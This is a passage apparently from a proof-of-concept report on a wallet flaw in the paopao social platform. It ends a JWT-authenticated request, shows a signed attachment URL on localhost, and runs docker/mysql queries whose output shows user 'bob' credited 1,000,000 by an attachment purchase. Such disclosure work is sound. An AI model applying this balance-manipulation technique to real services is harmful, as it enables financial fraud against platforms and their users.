eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiIyMGI5ODhlZmJhOTE5YWNlY2FmYjI5NDFmMDZjMGZmYSIsImV4cCI6MTc5NDg4NTM3M30.-aT5n4HuQhebAzU2x6iRsyW9lMraukJL4hZkbhR_tX4' ``` ``` {"code":0,"msg":"success","data":{"signed_url":"http://127.0.0.1:8008/oss/paopao/attachment/cb/19/e7/15/b181-4503-a317-49a64e4b8726.zip?expired=1794796876"}} ``` ```bash $ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select id,username,balance from p_user where username in ('alice','bob')" id username balance 100058 alice 80 100059 bob 999900 $ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select id,post_id,user_id,change_amount,balance_snapshot,reason from p_wallet_statement" id post_id user_id change_amount balance_snapshot reason 10010 1080017989 100059 1000000 1000000 购买附件支出 10011 1080017990 100059 -100 999900 购买附件支出 10012 1080017990 100058 80 80 出售附件收入 ```